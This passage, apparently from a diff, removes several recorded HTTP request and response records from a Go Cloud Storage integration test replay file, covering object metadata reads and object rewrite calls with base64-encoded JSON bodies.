GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpAvzLs-GgdTPEGM2kvABFTxehSb-DhZQ2Y31nQ9ad0RMmfIMtVGRBXvkXo7FwGAy78ZHMSGWRKG-DYMy6JU9PCM4Tpo8PDmm4-rHa_LVpH2dFN-JM" - ] - }, - "Body": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48RXJyb3I+PENvZGU+SW52YWxpZFJhbmdlPC9Db2RlPjxNZXNzYWdlPlRoZSByZXF1ZXN0ZWQgcmFuZ2UgY2Fubm90IGJlIHNhdGlzZmllZC48L01lc3NhZ2U+PERldGFpbHM+Ynl0ZXM9MzItNDE8L0RldGFpbHM+PC9FcnJvcj4=" - } - }, - { - "ID": "2bbd010d0173c966", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpZDScoUU4zzBoXc21jt6C1vcW1SrU6ELiWodrCID-OoNKVMbecv_DSgHZATQGs4GS-BebkzqdalqTq5C77aKXQMxiks-9A5kyrc8N4aY9L5YndaI8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxIiwibmFtZSI6Im9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajE/Z2VuZXJhdGlvbj0xNTU2ODM1ODQ0NjQ3MjI1JmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLzE1NTY4MzU4NDQ2NDcyMjUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMblMrYnZ4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQ1Q2ZFRBPT0iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9" - } - }, - { - "ID": "e3522e1cc7aef940", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2570" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Etag": [ - "CAY=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur5x_r1PKMQrnKbsfUWRR6wBwFQTM8U9mGwyq_fK56rrHE_UoLDxLRpiuaFGLVi9L4Hj67UXH76drA6KQQQgOsMVo0YEl1pVS2P7OKQ64WF4NubRCU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowMi4zNjFaIiwibWV0YWdlbmVyYXRpb24iOiI2IiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FZPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQVk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBWT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBWT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6ZmFsc2V9LCJsaWZlY3ljbGUiOnsicnVsZSI6W3siYWN0aW9uIjp7InR5cGUiOiJEZWxldGUifSwiY29uZGl0aW9uIjp7ImFnZSI6MzB9fV19LCJsYWJlbHMiOnsibDEiOiJ2MiIsIm5ldyI6Im5ldyJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQVk9In0=" - } - }, - { - "ID": "77ed46692038573c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/copy-obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3333" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:14 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpBnZgUt8GyAer5VG-_nEuf3YizRjF2t4MS6vOflI_Vid1-zVpQ99TuphB3pZjPZNI5ZoHJxCmDv3lyLwyhUDvk_p_NO9x8qZTEpjf1EOO5uxRsOxo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMTYiLCJvYmplY3RTaXplIjoiMTYiLCJkb25lIjp0cnVlLCJyZXNvdXJjZSI6eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEvMTU1NjgzNTg1NDE0NDc5MiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMSIsIm5hbWUiOiJjb3B5LW9iajEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NDE0NDc5MiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNC4xNDRaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTQuMTQ0WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE0LjE0NFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiU25hL1VXdjdtY1pJMjNvRTV0VWFiUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMT9nZW5lcmF0aW9uPTE1NTY4MzU4NTQxNDQ3OTImYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxLzE1NTY4MzU4NTQxNDQ3OTIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29weS1vYmoxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb3B5LW9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NDE0NDc5MiIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSmlxdmNEeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxLzE1NTY4MzU4NTQxNDQ3OTIvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvcHktb2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU0MTQ0NzkyIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0ppcXZjRHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMS8xNTU2ODM1ODU0MTQ0NzkyL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb3B5LW9iajEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb3B5LW9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NDE0NDc5MiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSmlxdmNEeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxLzE1NTY4MzU4NTQxNDQ3OTIvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvcHktb2JqMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvcHktb2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU0MTQ0NzkyIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0ppcXZjRHgvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJDVDZkVEE9PSIsImV0YWciOiJDSmlxdmNEeC9lRUNFQUU9In19" - } - }, - { - "ID": "9187dbb998c64d40", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/copy-obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "31" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - 